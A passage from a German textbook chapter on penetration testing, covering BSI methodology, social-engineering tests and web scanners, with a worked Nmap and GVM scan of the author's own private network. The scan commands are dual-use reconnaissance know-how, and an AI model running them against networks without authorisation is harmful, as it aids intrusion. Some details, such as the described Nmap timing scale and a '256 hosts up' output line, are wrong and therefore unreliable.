Arten von Pentests und Vulnerability-Scans
185
• Netzwerkkomponenten wie Router, Switches, Gateways • Sicherheitskomponenten wie Firewalls, Paketfilter, Intrusion-Detection-Systeme, Virenscanner, Load-Balancer, Honeypots usw. • Server wie Datenbankserver, Webserver, Mailserver, Fileserver, Backup-Server usw. • Telekommunikationssysteme • Webanwendungen wie Webauftritt, Intranet, Webshop, Webportale, Webmail usw. • Endgeräte wie Desktop-Rechner, Notebooks, Tablets • Drahtlose Netze (WLAN) • Infrastruktur wie Zugangskontrollen, Gebäudesteuerung, Lüftungsanlagen usw. Dabei unterscheidet man zwischen White-Box- und Black-Box-Tests. Bei Black-Box-Tests haben die Penetration-Tester keine weitergehende Informationen über die Zielsysteme und müssen sich zunächst einen Überblick über die zu untersuchenden Einrichtung zu verschaffen. Dies entspricht in etwa der typischen Ausgangslage eines Hackers. Bei White-Box-Tests erhalten die Pentester umfangreiche Informationen über die Zielsysteme, um diese gezielt untersuchen zu können. Zu diesen Informationen gehören Informationen, welche Server betrieben werden und wie die Firewalls konfiguriert sind. Diese Vorkenntnisse kürzen die Dauer des Pentests lediglich ab, denn grundsätzlich können solche Informationen durch Analyse des Netzwerks beschafft werden. Bei Grey-Box-Pentests werden bestimmte zu untersuchende IP-Bereiche festgelegt oder die Funktion der Server in einem Netzwerksegment bekannt gegeben. Auch wenn Pentester im Verlauf der Tests aktiv versuchen, in ein System einzudringen, um den Nachweis zu führen, dass ein System angreifbar ist, so sollen destruktive Tests, also solche, die einen Schaden verursachen, unter allen Umständen vermieden werden. Trotz aller Vorsichtsmaßnahmen lässt sich jedoch nicht ausschließen, dass einzelne Systeme unter der Last der Tests im Betrieb beeinträchtigt werden. Das BSI [2] schlägt für einen Pentest folgende Vorgehensweise vor: 1. Recherche nach Informationen über das Zielsystem aus dem Internet 2. Scan der Zielsysteme auf bereitgestellte Dienste 3. System- und Anwendungserkennung über die eingesetzten Betriebs- und Softwaresysteme (Fingerprinting) 4. Recherche nach bekannten Schwachstellen der eingesetzten Betriebs- und Softwaresysteme 5. Ausnutzen der Schwachstellen, um zu dokumentieren, dass die Lücke tatsächlich existiert Dabei ist das Ziel eines Pentests immer, die IT-Sicherheit des gesamten IT-System zu erhöhen. Deshalb beinhaltet ein Abschlussbericht eines Pentests auch immer die empfohlenen Maßnahmen zur Beseitigung der Sicherheitslücken. Aber auch ein erfolgreicher Pentest kann nicht garantieren, dass ein Angriff verhindert wird. Das liegt daran, dass sich die Angriffsmethoden der Angreifer rasant weiterentwickeln und täglich neue Sicherheitslücken gefunden
186
10 Penetration Tests
Abb. 10.1 Klassifikation von Pentests nach BSI [2]
werden, die von Angreifern ausgenutzt werden könnten. Ein Pentest reduziert lediglich die Wahrscheinlichkeit für einen Angriff, weil offensichtliche und leicht ausnutzbare Lücken geschlossen werden können. Jeder Betreiber einer komplexen IT-Infrastruktur muss damit rechnen, dass Angreifer immer eine Lücke finden werden, wenn sie nur gründlich genug danach suchen. Auch helfen Penetration-Tests auch nur bedingt gegen Angriffe, die durch Social Engineering initiiert werden. Das BSI klassifiziert Pentests in seiner Studie [2] nach Kriterien aus Abb. 10.1: Je nach Zielsetzung und Gefahrenlage kann ein Auftraggeber anhand dieser Kriterien festlegen, wie ein Pentest durchgeführt werden soll.
10.3
Social Engineering Pentests
Getreu der Feststellung, dass das schwächste Glied in einer Sicherheitskette oft der Mensch ist, der ein System betreibt, sind Social-Engineering-Pentests eine wichtige Komponente um zu prüfen, ob Sicherheitsstandards eingehalten werden. Mithilfe dieser Art von Tests soll geprüft werden, wie gut die Awareness-Schulungen wirken.
10.4
Sicherheit von Web-Applikationen
187
Typische Ausprägungen solcher Tests sind z. B. der Versuch, ohne ausreichende Berechtigungen ein Gebäude zu betreten. Ein Pentester würde zum Beispiel ohne sichtbare Ausweiskarte prüfen, ob ihm jemand die Tür aufhält, wenn er zum Beispiel schwere Gegenstände mit sich führt oder ob es möglich ist, ohne Berechtigungen in besonders geschützte Bereiche zu gelangen, indem er z. B. in einem Fahrstuhl mitfährt. Die größte Gefahr geht jedoch von Phishingkampagnen aus. Deshalb ist eine der häufigsten Varianten das Versenden von E-Mails, die angeblich von Führungskräften stammen und die die Empfänger dazu auffordern, einen unerwarteten Anhang zu öffnen, eine bestimmte Webseite zu besuchen oder vertrauliche Informationen zu nennen. Inzwischen existieren zahlreiche Werkzeuge, um anhand von vorkonfigurierten E-Mails und Zielseiten scheinbare Phishingwellen zu simulieren und zu prüfen, wie hoch der Prozentsatz der Personen ist, die tatsächlich auf eine solche Phishingmail reagieren. Auch Angriffsversuche über Telefon gehören in die Kategorie der Social-EngineeringPentests: Der Pentester gibt vor, ein Mitglied der IT-Abteilung zu sein und bittet den Angerufenen, zum Beispiel seinen Rechner freizugeben oder das Passwort im Sinne des Pentesters zu ändern. Bösartige Angreifer nutzen diesen Angriffsvektor, um Zugang auf Systeme zu verschaffen oder über den sog. CEO-Fraud das Opfer dazu zu bewegen, Geld zu übertragen[3]. Einer der bekanntesten Hacker, Kevin Mitnick, der heute eine Firma für IT-Sicherheitsberatung leitet, zeigt in seinem Buch „Die Kunst der Täuschung“[4] anhand von echten Beispielen, wie Social Engineering funktioniert und wie man sich dagegen schützen kann.
10.4
Sicherheit von Web-Applikationen
Zum automatisierten Test von Webservern und Webapplikationen existieren einige Werkzeuge, teils Open Source, die im Folgenden kurz vorgestellt werden sollen. Auf Geräten mit laufenden Webservern kann ein Web-Application-Security-Scanner wie das Open-Source-Tool Nikto2 [5] angewendet werden. Dieses Werkzeug testet auf tausende potenziell gefährliche Sicherheitsprobleme in Webservern. Dabei werden nur lesende Zugriffe durchgeführt, sodass Nikto2 keinen Schaden verursachen kann. Manche der Tests setzen auf Nmap auf, sodass Nikto2 grundsätzlich nur auf eigene Webserver angewendet werden sollte, weil ein Netzwerkscan mit Nmap auffällt und als Angriffsversuch gewertet werden könnte. Die Burp-Suite, die vor allem zur Analyse von Web-Anwendungen eingesetzt werden kann, gibt es in einer Community-Version mit eingeschränktem Funktionsumfang. Sie enthält einen HTTPS-Proxy, der den HTTPS-Verkehr abfängt und analysiert, bevor er an den Webserver weitergeleitet wird. Die Burp-Suite verfügt über verschiedene Module, die unterschiedliche Aufgaben erfüllen [6, 7]: • Target: In diesem Bereich werden die besuchten URLs aufgelistet und ein paar grundlegende Informationen zu den Web-Applikationen festgelegt. die untersucht werden sollen.
188
10 Penetration Tests
• HTTP Proxy: Der Proxyserver schaltet sich nach dem Prinzip „Man-in-the-Middle“ zwischen Web-Browser und Applikation ein, um den HTTP-Verkehr aufzuzeichnen. HTTPSVerkehr kann ebenfalls aufgezeichnet werden. Die dabei auftretenden Zertifikatswarnungen können verhindert werden, indem das Zertifikat der Burp-Suite für die Analyse im Zielsystem als vertrauenswürdiges Zertifikat abgelegt wird. • Spider: Erstellt ein automatisches Abbild des gesamten Web-Auftritts (Web-Crawler). • Scanner: Der Scanner untersucht den gespeicherten Datenverkehr mit der Kopie der Website. Dabei wird stufenweise vorgegangen. • Intruder: Ein Angriffsmodul für automatisierte und angepasste Attacken gegen die WebApplikationen. • Repeater: Wiederholung von Angriffen, um verbessertes Verhalten auf bestimmte Angriffe zu dokumentieren. • Comparer: Vergleich von Datensätzen zu Beispiel mit unterschiedlichen Nutzeraccounts • Sequencer: Überprüfung der Qualität von Session-Cookies • Invsible Proxy: Proxy für Webapplikationen die keine Proxyeinstellungen zulassen. • Extender: Hier können Erweiterungen eingebunden werden. Auch Schwachstellenscanner wie Greenbone Vulnerability Manager (OpenVAS) oder Nessus enthalten Funktionen zur Analyse von Schwachstellen in Webanwendungen (s. Abschn. 10.6). SSL-Labs ist ein Werkzeug speziell für den Test von SSL-Verschlüsselungen, das von der Firma Qualys bereitgestellt wird. Es handelt sich dabei um eine Webseite (www.ssllabs. com), von der aus verschiedene Sicherheitstests auf öffentlich erreichbare Webanwendungen ausgeführt werden können. Die Tests sind auf die Sicherheit von SSL-Verschlüsselten Internetseiten spezialisiert. Bei diesen Tests werden eine Reihe von Sicherheitslücken mit bekannten Angriffsvektoren durchgeführt. Das Ergebnis eines Testlaufs wird von A+ bis F bewertet, wobei die Gründe für einen Abstufung in einem ausführlichen Protokoll dokumentiert werden. Meist handelt es sich dabei um veraltete TLS-Versionen, die noch unterstützt werden oder die Zertifikate sind nicht für alle Domainnamen des Seitenbetreibers korrekt eingerichtet.
10.5
Sicherheit von Arbeitsplatzrechnern
Für Wechseldatenträger sollte die Autorun-Funktionalität in Windows-Clients deaktiviert sein. Auch nach den großen Infektionswellen des Conficker-Wurms gibt es immer noch eine große Anzahl von Malware, die sich über USB-Sticks verbreiten. Darüber hinaus existieren USB-Dongels die als Tastatur (Human Interface Device, HID) erkannt werden. Damit lassen sich über einfache Scripte Befehle auf dem Zielsystem ausführen. Für den PC des Opfers sehen diese Befehle aus, als würden sie mit einer Tastatur eingegeben. Programmierbare USB-Sticks als Pentesting-Devices gibt es für wenige Euro zu kaufen. Ein Pentester der physikalischen Zugriff auf einen PC hat, prüft mithilfe eines solchen
10.6
Schwachstellensuche in Netzwerken
189
USB-Stick, ob der Client-PC Autostart-Dateien ausführt. Zu diesem Zweck reicht es, wenn ein entsprechend präparierter USB-Stick an den Rechner angeschlossen wird. Anschließend wird getestet, ob ein USB-Stick als Tastatur erkannt wird. Das lässt sich dadurch erreichen, dass in einem entsprechend präparierten Stick eine Befehlssequenz wie das öffnen des Programms „notepad.exe“ einprogrammiert wird. Wird dieses Programm ausgeführt, ist ein PC für diese Art der Angriffe verwundbar. Zentral administrierte Systeme sollten grundsätzlich keinen Code ausführen, der nicht von den Administratoren freigegeben wurde. Insofern verweist das Ausführen des Codes von einem USB-Stick auf einen Konfigurationsfehler. Ähnlich ist die Situation bei E-Mail-Anhängen. Auch hier sollte Code, egal welcher Art, nicht zur Ausführung kommen, wenn dieser in Form eines E-Mail-Anhangs auf das Zielsystem übertragen wird. Zu diesem Zweck sendet sich ein Pentester eine E-Mail mit einem entsprechenden Anhang zu. Wird beim Klick auf diesen Anhang der entsprechende Code ausgeführt, liegt ein ebenfalls Konfigurationsfehler des Clients vor. Wichtig ist außerdem, dass nicht etwa dasselbe Administratorkennwort für mehrere Endgeräte zum Einsatz kommt. Für Microsoft-Windows-Clients helfen Werkzeuge wie Local Administrator Password Solution (LAPS), um für jedes Endgerät ein eigenes Administratorkennwort zu verwalten. Mittels LAPS erzeugt ein kleiner Agent auf jedem Client und Server ein individuelles Passwort und ändert dies zyklisch. Das lokale Administratorkennwort wird im Active Directory gespeichert und lässt sich von berechtigten Personen mittels einer kleinen GUI auslesen. Windows-Administratoren können einen Penetrationstest nur dann erfolgreich abschließen, wenn sie dem Scanner angemessene Login-Informationen bereitstellen. Üblicherweise übergibt man hier das Administrator-Konto inklusive Passwort. Dadurch kann das Tool tiefer in Windows-Server-Systeme hineinsehen und mehr Probleme identifizieren. Gleiches gilt übrigens auch für den Fall, dass man eine Webanwendung scannen möchte. Man muss grundlegende Login-Daten übergeben, um über das Frontend kommend die Web-Applikation zu testen. Manch ein Netzwerkadministrator wird davor zurückscheuen, irgendwelche gültigen Zugangsdaten zu benutzen. Das ist in Ordnung, sofern Cyberkriminelle mit gefundenen oder gestohlenen Login-Informationen auch im echten Leben keine Gefahr für das Unternehmen darstellen. Dies nennt sich dann „Black-Box-Testing“, liefert allerdings nicht allzu viele Informationen, die dabei helfen die Netzwerksicherheit voranzutreiben.
10.6
Schwachstellensuche in Netzwerken
Ein professionell durchgeführter Pentest ist auch deshalb sehr wichtig, weil die Netzwerksicherheit aus einer ganz anderen Perspektive untersucht wird. Ein System- oder Netzwerkadministrator wird intuitiv immer nur nach den Lücken suchen, die er gerade geschlossen hat.
190
10 Penetration Tests
Abb. 10.2 Ein kleines Beispielnetz zur Durchführung eines Pentests
Ein professioneller Pentester kennt diese Einschränkungen nicht und wird deshalb nach ganz anderen Kriterien vorgehen. Im Vorfeld eines beauftragten Pentest empfiehlt es sich trotzdem einen umfangreichen Test eigenständig durchzuführen, um die professionellen Pentester nicht mit Kleinigkeiten aufzuhalten. Allerdings gilt auch hier, dass dieser Test von der Leitung einer zu untersuchenden Einrichtung genehmigt werden muss. Für einfache Tests gibt es eine Reihe von Open-Source-Werkzeugen, deren Einsatz für einen Schwachstellenscan hier kurz vorgestellt werden soll. Anhand eines einfachen Set-ups soll gezeigt werden, wie ein Pentester grundsätzlich vorgehen würde, um ein Netzwerksegment genauer zu untersuchen. Zu diesem Zweck wird ein kleines lokales Netzwerk mit drei Rechnern aufgebaut (Abb. 10.2). Anhand dieses Netzes soll der Einsatz von Scanning-Werkzeugen beispielhaft demonstriert werden. Das folgende Beispiel eines Netzwerkscans beschränkt sich auf den Einsatz von OpenSource-Werkzeugen, die entweder standardmäßig installiert sind oder über öffentlich zugängige Webseiten einfach nachinstalliert werden können. Auch wenn sich mit diesen Werkzeugen bereits eine Menge erkennen lässt, werden professionelle Pentester, wie auch die Cyberkriminellen, eher auf einen Mix aus kommerziellen und freien Werkzeuge sowie auf manuelle Angriffe setzen. Bevor das Beispiel dieses Netzwerkscans beginnt, soll einmal mehr darauf hingewiesen, werden, dass solche Scans bereits als aktiver Angriff gewertet werden können und deshalb die Zustimmung aller Beteiligten sowie vor allem die Zustimmung des Betreibers des Zielnetzwerke einzuholen sind.
10.6.1 Der Einsatz von Nmap Nmap ist ein einfaches aber sehr mächtiges Netzwerk-Analyse-Tool, das für die meisten Schwachstellenscans völlig ausreichend ist. Es gehört in beinahe jeden Werkzeugkasten eines Netzwerkadministrators, Pentesters oder Cyberkriminellen. Aus diesem Grund sollen das Einsatzspektrum und die Möglichkeiten von Nmap anhand eines Beispiels ein wenig genauer untersucht werden.
10.6
Schwachstellensuche in Netzwerken
191
Setzt man Nmap innerhalb der Firewall gegen das Netzwerk ein, so liefert es wichtige Informationen zu den laufenden Systemen, geöffneten Ports und laufenden Diensten. Außerhalb einer Firewall identifiziert Nmap alle erreichbaren Systeme und die entsprechenden IP/Port-Kombinationen, die in einer Firewall freigeschaltet und damit weltweit erreichbar sind. Nmap bietet eine Reihe von Optionen, die teilweise sehr mächtige Funktionen auslösen. Hier eine Zusammenstellung der wichtigsten Optionen, die im Folgenden verwendet werden: • nmap -p: Mit dieser Option kann ein bestimmter Port für weitere Untersuchungen ausgewählt werden. • nmap -sn: Ein einfacher Ping-Test über ICMP. • nmap -sT: Nmap führt einen vollständigen TCP-Verbindungsaufbau (3-WegeHandshake) durch. • nmap -sF: Diese Option entspricht dem „FIN Scan“ aus Abschn. 4.2.2. • nmap -sS: Mit dieser Option nutzt nmap den „SYN Scan“ aus Abschn. 4.2.2. • nmap -sX: Der „XMAS Scan“ bei dem alle Flags gesetzt sind. • nmap -A: Aktiviert die Erkennung von Betriebssystemen, Versionen von Diensten, scriptbasierte Scans und Traceroute. • nmap -O: Nmap versucht das Betriebssystem anhand des Fingerabdrucks der TCP- oder UDP-Pakete zu erkennen. Das funktioniert nicht immer zuverlässig und ist deshalb nur eine erste Schätzung. • nmap –osscan-limit Nmap sucht das Betriebssystem in einer Liste der vielversprechendsten Kandidaten. • nmap -sV: Hier versucht Nmap die Version des Dienstes hinter dem Port zu erkennen. Gelingt das, können veraltete Versionen eines Dienstes identifiziert werden. • nmap -T[0-5]: Die Option -T ist die Timing-Funktion von Nmap. Sie gibt an, wie schnell eine Folge von Tests durchgeführt werden soll, damit sie einem Administrator nicht auffällt. Die Spanne geht von „-T0“ (Minutentakt) bis „-T4“ oder „-T5“, bei dem die Tests sehr verzögert ablaufen. • nmap -v: Mit der Option „-v“ kann Nmap dazu gebracht werden, mehr Informationen auszugeben (Verbosity). • nmap -iL : Diese Option kann benutzt werden, um Nmap auf bestimmte IP-Adressen anzusetzen, die in einer Textdatei gespeichert sind. • nmap -o[N, G, X] : Diese Optionen definieren verschiedene Ausgabeformate für Nmap. Dabei steht „N“ für eine normale Ausgabe, „G“ für eine Ausgabe, die sehr einfach mit „Grep“ behandelt werden kann und „X“ für eine XML-Ausgabe. Daneben gibt es eine Vielzahl weiterer Optionen, die in diesem Beispiel jedoch nicht verwendet werden. Eine Übersicht aller Optionen für Nmap findet sich in [8].
192
10 Penetration Tests
Schritt 1: Suche nach laufenden Systemen im Subnetz Um herauszufinden, welche Systeme derzeit in einem Netzwerksegment mit den IP-Adressen 192.168.2.1 bis 192.168.2.2553 und der Netzwerkmaske 255.255.255.0 erreichbar sind, bietet sich das folgende Kommando an: Netzwerk Scan
nmap -sn 192.168.2.1/24 -oG up.txt
Die Option „-sn“ führt einen einfachen „ping“-Scan durch. Das bedeutet, dass die Ports auf den antwortenden Systemen nicht weiter gescannt werden. Die Option „-oG“ legt fest, dass die Ausgabe in einem einfach zu verarbeitenden Format in einer Datei mit dem Namen „up.txt“ gespeichert wird. Die Ausgabe sieht in diesem Beispiel in etwa wie folgt aus: up.txt
# Nmap 7.92 scan initiated Mon Jul 4 13:04:19 2022 as: nmap -sn -oG up.txt 192.168.2.1/24 Host: 192.168.2.1 (m1login.net) Status: Up Host: 192.168.2.11 (RASPBERRY) Status: Up Host: 192.168.2.130 (DESKTOP-9CQ6UT1.net) Status: Up Host: 192.168.2.188 (DESKTOP-SHKR64V.net) Status: Up # Nmap done at Mon Jul 4 13:04:23 2022 -- 256 IP addresses (256 hosts up) scanned in 3.33 seconds
Nach dem ersten Scan eines Netzwerksegments sollte man sich zunächst einmal die laufenden Systeme im Netzwerk betrachten und das Ergebnis mit den eigenen Erwartungen oder früheren Scans abgleichen. An dieser Stelle sollten nur solche Systeme entdeckt werden, die den Administratoren des Netzwerksegments bekannt sind. In diese Beispiel sind das ein LTE-Modem (m1login.net), zwei Desktop-Rechner (DESKTOP-9CQ6UT1.net und DESKTOP-SHKR64V.net) und ein Raspberry Pi (RASPBERRY). Die beiden Rechner mit 3 Das Scannen fremder Netzwerke ohne schriftliche Einverständniserklärung des Betreibers eines
Netzwerkes, kann bereits als strafbare Handlung angesehen werden. Insbesondere dann, wenn Optionen eingesetzt werden, die das Netzwerk stören, können Netzwerkbetreiber unter Umständen Strafanzeige stellen. In diesem Beispiel wurde mit 192.168.2.* ein privates Netzwerksegment ausgewählt, für das die Pakete im öffentlichen Internet nicht geroutet werden. Es wurde also lediglich das eigene private Netz gescannt, in dem sich mein Rechner befindet.
10.6
Schwachstellensuche in Netzwerken
193
den IP-Adressen „192.168.2.11“ und „192.168.2.188“ wurden zu Übungszwecken in das Netz integriert und sollen im weiteren Verlauf näher untersucht werden, denn sie stellen ein mögliches Sicherheitsrisiko dar. Alleine die Inventarisierung dieser Dienste ist bereits ein wesentlicher Schritt um die Sicherheit des gesamten Netzes zu verbessern. Sollten hier Systeme auftauchen, die Sie als Netzwerkadministrator nicht kennen, sollten Sie sich diese Geräte genauer anschauen. Um die Nmap-Scans abzukürzen und weil im ersten Schritt eine Inventur aller erreichbaren Systeme durchgeführt wurde, bietet es sich an, die IP-Adressen der zu untersuchenden Systeme in einer Datei „addresses.txt“ zu speichern, die dann bei weiteren Tests mit der Option „-iL“ eingelesen werden kann. addresses.txt
192.168.2.11 192.168.2.188
Nur diese beiden Systeme sollen näher untersucht werden. Schritt 2: Suche nach offenen Ports In einem zweiten Schritt sollen offene Ports der einzelnen Systeme gefunden werden. Hier macht es bereits Sinn, die Zahl der untersuchten Systeme einzuschränken, da Nmap für jedes System ca. 1000 Ports untersuchen muss, was einige Zeit in Anspruch nehmen kann. In unserem Beispiel soll der „SYN Scan“ verwendet werden, der in den Logfiles nicht ganz so viele Spuren hinterlässt. Ein entsprechender Nmap-Befehl könnte lauten: Offene Ports
$ sudo nmap -T4 -sS -iL addresses.txt
Die Ausgabe dieses Befehls sieht wie folgt aus: nmap-Ausgabe
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-06 04:20 EDT Nmap scan report for 192.168.2.11 Host is up (0.0098s latency).
194
10 Penetration Tests
Not shown: 995 PORT STATE 22/tcp open 80/tcp open 139/tcp open 445/tcp open 3389/tcp open
filtered tcp ports (no-response) SERVICE ssh http netbios-ssn microsoft-ds ms-wbt-server
Nmap scan report for DESKTOP-SHKR64V.net (192.168.2.188) Host is up (0.0041s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds Nmap done: 2 IP addresses (2 hosts up) scanned in 6.42 seconds
Das Ergebnis zeigt die Liste der offenen Ports der beiden Systeme an. Man sieht, dass beim ersten System mit der IP-Adresse 192.168.2.11 mehrere Ports geöffnet sind: man kann sich mit SSH anmelden (Port 22), es läuft ein Webserver (Port 80) und einige Dienste wie NetBIOS (139), Windows-Freigaben (445) und das Microsoft-Remote-Desktop-Protokoll (3389). Beim zweiten System mit der IP-Adresse 192.168.2.188 ist neben den Ports 139 und 445 noch der Port 135 offen. Dieser Port wird von Microsoft inoffiziell für Remote Procedure Calls (RPC) verwendet. Wichtig ist dabei, dass alle Server nur die Dienste bereitstellen, die von diesem System auch bereitgestellt werden sollen. Nicht benötigte Dienste sollen dabei grundsätzlich abgeschaltet werden, da sie unnötige Sicherheitsrisiken beinhalten und künftige Scans in die Länge ziehen. Schritt 3: Die Suche nach weiteren Informationen Sollen weitergehende Informationen über ein Zielsystem gesammelt werden, bieten sich die Optionen „-osscan-guess “ und „-sV“ an. Zusätzlich wird die Ausgabe mit der Option „-v“ etwas ausführlicher gestaltet. Betriebssystemversion
$ sudo nmap -T4 -sS -sV -osscan-limit -v 192.168.2.188
10.6
Schwachstellensuche in Netzwerken
195
An dieser Stelle liefert Nmap einen ausführlichen Bericht über eine Reihe von Informationen über das Zielsystem, die bei diesem Nmap-Scan gefunden wurden. Insbesondere der Port 445/tcp gibt die gesuchten Informationen preis: Ergebnis eines ausführlichen Scans
... 445/tcp open microsoft-ds Windows 10 Education 10240 ... ... | smb-os-discovery: | OS: Windows 10 Education 10240 (Windows 10 Education 6.3) ...
Schritt 4: Die Suche nach Sicherheitslücken Mit diesen Information kann ein Pentester bereits in den einschlägigen CVE-Datenbanken nach Sicherheitslücken suchen. Dabei stellt sich heraus, dass die Windows-10-Version mit der Build-Nummer 10.0.10240 aus dem Jahr 2015 stammt. Microsoft hat diesen Build rückwirkend mit der Version 1507 umbenannt. Der Support für Version 1507 endete am 9. Mai 2017. Ein derart veraltetes System wird sicher einige Lücken beinhalten, weshalb es sich lohnt, noch ein bisschen genauer nachzuforschen.
10.6.2 Greenbone Vulnerability Management (GVM) Greenbone Vulnerability Management (GVM) ist ein Netzwerksicherheitsscanner mit zugehörigen Tools wie einem grafischen Benutzer-Frontend. Die Kernkomponente ist ein Deamon (GVMd) mit einer Reihe von Modulen für Netzwerkschwachstellentests (NVTs), um Sicherheitsprobleme in zu untersuchenden Systemen und Anwendungen zu erkennen. GVM wird sowohl von Pentestern als auch von Cyberkriminellen verwendet, um Systeme mit Sicherheitslücken in einem Netz zu finden. Der GVM analysiert automatisch Netzwerke auf Schwachstellen und erzeugt detaillierte Sicherheitsberichte sowie Hinweise zur Behebung der entdeckten Sicherheitslücken. GVM setzt auf Open Scanner Protocol (OSP) und OpenVAS als Sicherheitsscanner auf, die beide als Module in GSM integriert sind. OpenVAS wird täglich über das Greenbone Community Feed mit aktuellen Security Updates versorgt. GVM ist die derzeit am weitesten verbreitete und mit Abstand professionellste OpenSource-Lösung zur Schwachstellenanalyse, das auch vom BSI als Werkzeug für die Schwachstellenanalyse in Netzen empfohlen wird [9]. Bei Sicherheitsuntersuchungen der Netzwerksysteme können verschiedene Prüftiefen konfiguriert werden, die es ermöglichen, weitere Sicherheitssoftware einzubinden und
196
10 Penetration Tests
Schwachstellen nicht nur über das Netzwerk, sondern auch durch lokale Prüfungen auf den Zielsystemen selbst zu identifizieren. Hierbei werden umfassende Prüfberichte erstellt. Durch Einordnung der gefundenen Probleme in CVE-Sicherheitsklassen können Schwachstellen schnell erkannt und Probleme entsprechenden Sicherheitsmeldungen zugeordnet werden. Die umfangreichen Möglichkeiten, Protokolle zu verwalten, aufzubereiten, auszuwerten, zu vergleichen und zu exportieren, ermöglichen es, den Sicherheitsstatus in einem komplexen Netzwerk übersichtlich im Blick zu behalten und Probleme zeitnah zu identifizieren und zu lösen. Die wichtigsten Komponenten von GVM sind: • Greenbone Vulnerability Manager Daemon (gvmd): zentrale Komponente, die alle Module und Scanner integriert • Greenbone Security Assistant (GSA): Webinterface, das die GVM-Funktionalität über einen Webbrowser abbildet • OpenVAS Scanner: führt Sicherheitstests durch, die auf der Basis der Community-Feeds ständig auf dem aktuellen Stand gehalten werden • Open Scanner Protocol (OSP): steuert den OpenVAS-Scanner, kann aber auch weitere Scanner ansteuern OpenVAS wird von Pentestern eingesetzt, um umfangreiche Prüfaufgaben zu erfüllen. Dazu gehören das Scannen von ganzen Netzwerken, die zentrale Sammlung und Auswertung von Prüfergebnissen, die Unterstützung bei der Umsetzung des IT-Grundschutzes nach BSI, die Inventarisierung, die Automatisierung wiederkehrender Scans und Alarmierung bei Richtlinienverstoß oder konkreten Gefahren. Weitere Informationen finden sich in [10] oder unter https://www.openvas.org/index-de. html4 Wendet man GVM auf das System an, das als Windows 10 Version 1507 identifiziert wurde (IP 192.168.2.188), so erhält man das folgende Ergebnis (Abb. 10.3): GVM stellt fest, dass das Betriebssystem das End-of-Life erreicht hat, was mit einer Severity von 10.0 bewertet wird. Außerdem liefert GVM den Hinweis, dass einige Lücken um das Samba-Protokoll entdeckt wurden, die mit einer Severity von 8.1 (High) bewertet wurden. Weder mit map noch über GVM wird offensichtlich, dass der eigentliche Grund für die Sichtbarkeit der Lücken daher kommt, dass die Windows-Firewall auf diesem System 4 OpenVAS und alle weiteren Module können direkt als „Source Edition“ auf einem linuxbasierten
Rechner installiert werden. Alternativ steht eine vorbereitete virtuelle Appliance als „Community Edition“ zur Verfügung, die dann auf beliebigen Systemen (Windows, Apple, Linux) ausgeführt werden kann. Die kommerziellen Varianten sind entweder ebenfalls als virtuelle Appliance verfügbar oder auch fertig auf einer Hardware installiert. Für die Steuerung durch den Anwender ist lediglich ein aktueller Web-Browser notwendig. Im Anhang A.3 wird die Installation von GVM auf einer Kali-Linux-Maschine vorgestellt.
10.7
Die Durchführung von Pentests
197
Abb. 10.3 Das Ergebnis des Vulnerability-Scans mit GVM
deaktiviert wurde. Wäre diese aktiviert, würden alle Anfragen blockiert werden und die Analysewerkzeuge würden keine brauchbaren Ergebnisse liefern. Dieses kleine Beispiel zeigt, dass Pentesting kein Selbstläufer ist, bei dem man lediglich ein Tool über die Schnittstellen laufen lässt. Die Ergebnisse müssen stets auch entsprechend interpretiert und aufgearbeitet werden.
10.7
Die Durchführung von Pentests
Das BSI empfiehlt beim Durchführen eines Pentests einen fünfstufigen Prozess [2]: 1. 2. 3. 4. 5.
Vorbereitung Informationsbeschaffung und -auswertung Bewertung der gewonnen Informationen (Risikoanalyse) Aktive Eindringversuche Abschließende Analyse
Einige Pentester bieten zusätzlich eine 6. Phase an, in der nach einer gewissen Zeit eine Wiederholung der Tests durchgeführt wird, um den Zugewinn an Sicherheit zu dokumentieren. Die Vorbereitungsphase (1) dient der individuellen Zielsetzung der zu untersuchenden Einrichtung und dem dafür erforderlichen Testaufbau. Hier verschafft sich der Pentester einen Überblick über den geplanten Testablauf, die zu untersuchenden Netzwerksegmente und die dafür erforderlichen Testwerkzeuge. Es wird zudem entschieden, ob der Test ein Vulnerability-Scan oder ein vollwertiger Penetration-Test wird, der auch Eindringversuche beinhaltet und ob der Pentest extern oder von einem System innerhalb der Firewall ausgeführt
198
10 Penetration Tests
werden soll. Ab einer gewissen Größe einer Einrichtung kann es sinnvoll sein, dass auch Insiderwissen für die Analyse verwendet werden sollte. Auch die rechtlichen Vorgaben und die vertraglichen Vereinbarungen werden in dieser Phase geklärt. Mögliche Auswirkungen der durchzuführenden Tests auf den operativen Betrieb müssen ebenfalls schon in dieser Phase ausgelotet werden. Bei der Informationsbeschaffung (2) werden die IT-Komponenten durch Scans und Fingerprinting auf offene Ports, Patch-Stand, Autorisierung usw. getestet. Es werden also alle Informationen zusammengetragen, die über die zu untersuchende IT-Infrastruktur verfügbar sind. Die gefundenen Daten werden zusammengetragen und in Verbindung gebracht, um Rückschlüsse auf Konfigurationen, eingesetzte Softwareversionen, Datenbanken und Betriebssysteme sowie deren Patchlevel treffen zu können. Bei diesen Scans kommen Schwachstellenscanner wie zum Beispiel OpenVAs oder Nessus zum Einsatz, die auf aktuelle Schwachstellendatenbanken zugreifen. In Phase 3 werden die gewonnenen Informationen einer Bewertung unterzogen. Ist das Ziel des Pentest lediglich ein Vulnerability-Scan, ist diese Bewertung, die in einem Bericht zusammengefasst wird, gleichzeitig die Abschlussdokumentation. Sollen aktive Eindringversuche durchgeführt werden, werden diese hier geplant. Dabei werden die Angriffsziele ausgewählt und die entsprechenden Angriffsmethoden festgelegt. Die aktiven Eindringversuche (4) haben das Ziel nachzuweisen, dass der Zugang zu den Systemen unter den gegebenen Voraussetzungen möglich ist. Grundsätzlich könnten Angreifer mit derselben Angriffsmethode in das System kommen. Ein erfolgreicher Angriff wird dokumentiert, indem Daten gesammelt werden, die den Zugriff beweisen. Dazu gehören Zugriffe auf Passwortdateien oder andere Daten und Screenshots, die von externen Nutzenden nicht sichtbar sein sollten. Diese Phase muss in enger Abstimmung mit der zu untersuchenden Einrichtung erfolgen, da grundsätzlich die Gefahr besteht, dass durch einen Eindringversuch auch produktive Systeme beeinträchtigt oder überlastet werden könnten. Die abschließende Analyse (5) dient der Erstellung einer detaillierten Übersicht aller gefundenen Sicherheitslücken auf den untersuchten Systemen. Das Ergebnis dieser Phase ist ein schriftlicher Untersuchungsbericht, der diese Lücken beschreibt und Empfehlungen gibt, wie die gefundenen Lücken geschlossen werden können. Hier wird auch 